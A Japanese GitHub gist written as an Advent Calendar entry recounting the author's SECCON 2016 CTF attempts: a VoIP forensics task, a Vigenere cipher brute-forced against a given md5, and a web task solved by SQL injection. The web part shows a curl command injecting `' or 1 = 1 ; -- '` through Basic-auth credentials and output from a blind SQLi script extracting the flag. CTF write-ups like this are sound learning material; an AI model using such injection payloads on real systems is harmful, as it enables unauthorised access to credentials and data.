Skip to content

Instantly share code, notes, and snippets.

@shiv3
Last active December 12, 2016 18:50
Show Gist options
  • Save shiv3/b4ea1031ecb8368370931d579e5ac31a to your computer and use it in GitHub Desktop.
Save shiv3/b4ea1031ecb8368370931d579e5ac31a to your computer and use it in GitHub Desktop.
セッコン体験記

セッコン

この記事はOIC ITCreate Club Advent Calendar 2016 の14日目の記事にしました。
http://www.adventar.org/calendars/1484

カレンダーの空きが目立つので埋めようと思って、

SECCONに4,5時間くらい参加してたので、それのアレをちょっと書きます。

Voip (Forensics100)

Wiresharkで聞くだけ

リスニング力の無さがひどくて10回くらい試したら通った感じだった

Vigenere (Crypto100)

k: ????????????
p: SECCON{???????????????????????????????????}
c: LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ

k=key, p=plain, c=cipher, md5(p)=f528a6ab914c1ecf856a1d93103948fe

ヴィジュネル暗号

変換表に従ってSECCON{のところのkeyは戻せるので、

SECCON{
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
↓
VIGENER

まで分かる

あと、問題文の????????????から鍵が12文字で、key<plainなので暗号化の際に鍵は12文字ずつ繰り返されるので

VIGENER?????VIGENER?????VIGENER?????VIGENER
LMIG}RPEDOEEWKJIQIWKJWMNDTSR}TFVUFWYOCBAJBQ
SECCON{?????BCDEDEF?????KLMNOPQ?????VWXYYZ}

となるとこまでわかるし、多分VIGENERのあとはEなのであと4文字くらいは適当に総当りする

md5(p)=f528a6ab914c1ecf856a1d93103948fe

らしいので、便利そうなヴィジュネル暗号のライブラリとか見つからなかったので、それっぽいのをお借りしてこんな感じで総当り

py solv.py
VIGENEREABCD SECCON{ADNCBBCDEDEFGJVKKKLMNOPQRUEUVVWXYYZ} cee8006c9800d7ddf4630dce7c191cb5
VIGENEREABCE SECCON{ADNCABCDEDEFGJVKJKLMNOPQRUEUUVWXYYZ} b5d351781cda06048d8d14900a8b1eb3
VIGENEREABCF SECCON{ADNC}BCDEDEFGJVKIKLMNOPQRUEUTVWXYYZ} ddc2a5640207296eab0fe4c159016457
...
VIGENERECODA SECCON{ABABEBCDEDEFGHIJNKLMNOPQRSTTYVWXYYZ} c86a4582c4bd5a9216f6a99cd049e19f
VIGENERECODB SECCON{ABABDBCDEDEFGHIJMKLMNOPQRSTTXVWXYYZ} 0f8b329e65472e1e223810b8f79ac2e2
VIGENERECODE SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ} f528a6ab914c1ecf856a1d93103948fe
SECCON{ABABABCDEDEFGHIJJKLMNOPQRSTTUVWXYYZ}

web100

(時間内に解き終わらなかった

basiq
What is admin's password?☺
http://basiq.pwn.seccon.jp

adminのパスワードを探せとのこと。

http://basiq.pwn.seccon.jp/javascripts/client.js でadminでgrepすると

var links = [{label:'Race Information',href:'/'},{label:'My Page',href:'/mypage.cgi'}];
	if(loginuser == 'admin'){
		links.push({label:'Admin', href:'/admin/'});
	}

とあるので、/adminに接続するとBasic認証を求められる。

SQLiが出来るのではとか思い、

curl -u "admin:' or 1 = 1 ; -- '" http://basiq.pwn.seccon.jp/admin/

<!DOCTYPE html>
<html>
 <head>
  <title>SECCON Horse Racing</title>
  <link rel="stylesheet" href="/stylesheets/style.css"/>
  <script src="/javascripts/jquery-3.1.1.min.js"></script>
  <script src="/admin/admin.js"></script>

とかするとSQLi出来るみたいだということがわかる。 admin.jsには

$(function(){
	$.getJSON("admin.cgi", betting);
});

とあるのでadmin.cgiにアクセスしてみると、JSONを返す。

あとはこんな感じで blindSQLiのアレを書いて

$ ruby bli_qli.rb
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 passlength:16
BTKOQRS"S"
BTKFDE"SE"
BTKFDC"SEC"
BTKFDC"SECC"
BTKO"SECCO"
BTKOMN"SECCON"
BT]{"SECCON{"
BTKFDC"SECCON{C"
B09=?@A"SECCON{CA"
BTKOQR"SECCON{CAR"
BTKOMN"SECCON{CARN"
BTKFHI"SECCON{CARNI"
BT]XV"SECCON{CARNIV"
B09=?@A"SECCON{CARNIVA"
BTKOML"SECCON{CARNIVAL"
BT]{}"SECCON{CARNIVAL}"
flag is :SECCON{CARNIVAL}

やはり今年は良い問題が多かったみたいなので、もうちょっと頑張りたかった。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment